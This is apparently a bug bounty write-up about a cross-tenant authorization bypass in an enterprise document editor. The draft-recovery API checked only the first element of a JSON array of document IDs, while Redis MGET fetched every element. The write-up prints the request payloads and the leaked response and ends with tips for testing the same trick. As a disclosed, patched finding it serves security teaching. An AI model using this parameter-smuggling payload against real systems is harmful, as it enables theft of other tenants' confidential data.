August 22, 2026
How a “Draft Auto-Save” Feature Exposed Confidential Enterprise Board Documents leading to $4,500…
When auditing modern web apps, the highest-impact flaws rarely sit inside the obvious settings pages. They hide inside features designed to…

By T4nv1
3 min read
When auditing modern web apps, the highest-impact flaws rarely sit inside the obvious settings pages. They hide inside features designed to make life convenient for the user — like real-time collaboration, auto-suggestions, or background auto-saves.
Recently, I was hunting on a private bug bounty program for an enterprise document management platform used by law firms and financial institutions. The app was built like a fortress: strict OAuth 2.0 implementation, hardened multi-tenant segregation, and end-to-end token validation on every primary endpoint.
Then I took a close look at the "Rich Text Document Editor" auto-save mechanism.
What started as an investigation into background WebSocket messages uncovered a Blind Cross-Tenant Authorization Bypass, allowing me to pull unreleased earnings reports and board minutes for a $4,500 bounty.
Phase 1: The Auto-Save WebSocket Connection
When a user edits a document, the application doesn't issue standard REST POST requests every time a key is pressed. Instead, it opens an active WebSocket connection to stream live delta changes to a background sync server.
I created a document on my test account and intercepted the outgoing WebSocket frame in Burp Suite:
JSON
{
"event": "doc_sync_delta",
"data": {
"document_id": "doc_99182_workspace_a",
"version": 14,
"delta": {"ops": [{"insert": "Q3 Revenue Target Update..."}]}
}
}{
"event": "doc_sync_delta",
"data": {
"document_id": "doc_99182_workspace_a",
"version": 14,
"delta": {"ops": [{"insert": "Q3 Revenue Target Update..."}]}
}
}Every few seconds, the client sent a payload containing the document_id and the new text delta.
I immediately attempted a standard Insecure Direct Object Reference (IDOR) by swapping doc_99182_workspace_a with a document ID belonging to a second test account in a completely different workspace.
The WebSocket connection instantly closed with a custom error code:
4003: Forbidden - Workspace ID does not match active session token.
The WebSocket gateway was validating the document's parent workspace against my JWT session before accepting any delta frames.
Phase 2: Uncovering the "Recover Draft" Fallback
While monitoring HTTP traffic during an intentional browser crash test, I noticed a secondary REST endpoint fire during page reloads:
HTTP
POST /api/v2/editor/draft-recovery HTTP/1.1
Host: docs.target-platform.com
Authorization: Bearer eyJhbGci...
Content-Type: application/json
{
"document_id": "doc_99182_workspace_a",
"client_timestamp": 1723982400
}POST /api/v2/editor/draft-recovery HTTP/1.1
Host: docs.target-platform.com
Authorization: Bearer eyJhbGci...
Content-Type: application/json
{
"document_id": "doc_99182_workspace_a",
"client_timestamp": 1723982400
}If the WebSocket connection dropped unexpectedly, the front-end fallback engine called this REST endpoint to fetch the latest uncommitted auto-save draft from the server's cache layer (Redis).
I decided to test this fallback mechanism against my target victim document ID (doc_77104_workspace_b).
JSON
{
"document_id": "doc_77104_workspace_b",
"client_timestamp": 1723982400
}{
"document_id": "doc_77104_workspace_b",
"client_timestamp": 1723982400
}The server responded:
JSON
{
"status": "error",
"code": "DOC_ACCESS_DENIED",
"message": "User does not have read permissions for target workspace."
}{
"status": "error",
"code": "DOC_ACCESS_DENIED",
"message": "User does not have read permissions for target workspace."
}Once again, the primary API gateway blocked the request. The tenant isolation was working as designed.
The Twist: Array Mutation & The Redis Key Smuggling
The application used Node.js on the backend. I wanted to see how the endpoint handled non-string parameters inside the document_id field.
Instead of passing a single string ID, I passed a JSON array containing my authorized document ID alongside the target victim document ID:
JSON
{
"document_id": ["doc_99182_workspace_a", "doc_77104_workspace_b"],
"client_timestamp": 1723982400
}{
"document_id": ["doc_99182_workspace_a", "doc_77104_workspace_b"],
"client_timestamp": 1723982400
}The API gateway evaluated the request by taking req.body.document_id[0] (doc_99182_workspace_a), checked my permissions, and saw that I was the rightful owner. It marked the request as authorized and passed the entire payload to the internal document recovery microservice.
However, the internal microservice didn't use [0]. It passed the full req.body.document_id object directly into a Redis lookup function:
redisClient.mget(req.body.document_id)
Because Redis's MGET command accepts multiple keys simultaneously, the internal cache layer fetched the stored auto-save drafts for both documents and returned them in a single array:
JSON
{
"status": "success",
"drafts": [
{
"document_id": "doc_99182_workspace_a",
"content": "My legitimate test document text."
},
{
"document_id": "doc_77104_workspace_b",
"content": "CONFIDENTIAL: Proposed Acquisition Terms & Executive Compensation..."
}
]
}
[ Attacker Request ] ──> ( JSON Array )
│
▼
[ Gateway Auth Check ] ──( Checks Index [0] Only ) ──> [ AUTHORIZED ]
│
▼
[ Internal Microservice ] ──( Passes Array to Redis ) ──> [ MGET Lookup ]
│
▼
[ Exfiltrates Victim Draft ]{
"status": "success",
"drafts": [
{
"document_id": "doc_99182_workspace_a",
"content": "My legitimate test document text."
},
{
"document_id": "doc_77104_workspace_b",
"content": "CONFIDENTIAL: Proposed Acquisition Terms & Executive Compensation..."
}
]
}
[ Attacker Request ] ──> ( JSON Array )
│
▼
[ Gateway Auth Check ] ──( Checks Index [0] Only ) ──> [ AUTHORIZED ]
│
▼
[ Internal Microservice ] ──( Passes Array to Redis ) ──> [ MGET Lookup ]
│
▼
[ Exfiltrates Victim Draft ]By leveraging this parameter type confusion, an attacker could supply an array with one legitimate document ID and up to 50 target document IDs, pulling uncommitted, real-time draft text from any workspace on the entire platform.
Triage & Resolution
I immediately compiled a detailed PoC, demonstrating how an attacker could extract real-time draft data across tenant boundaries without destroying or altering any client state.
- Severity Rating: Critical (Cross-Tenant Data Exfiltration)
- Time to Triage: 3 Hours
- Patch Time: 12 Hours
- Final Bounty Payout: $4,500
The engineering team fixed the issue by updating the API gateway schema validation to strictly enforce a string-only type check on document_id, while updating the internal service to ensure multi-key cache lookups independently verify workspace ownership per key.
Critical Lessons for Bug Hunters
- Investigate Secondary Fallbacks: Primary features (like WebSockets) are usually heavily audited, but fallback endpoints (like REST recovery triggers) are often built later and miss key authorization checks.
- Test Array Casting on Cache Endpoints: When an API interacts with key-value stores like Redis or Memcached, test passing array parameters (
["id1", "id2"]). If the gateway checks only one element while the database fetches all of them, authorization breaks down. - Draft Storage is a High-Value Target: Auto-saved drafts often contain sensitive information that hasn't gone through final publishing sanitization, making them prime targets for high-impact bugs.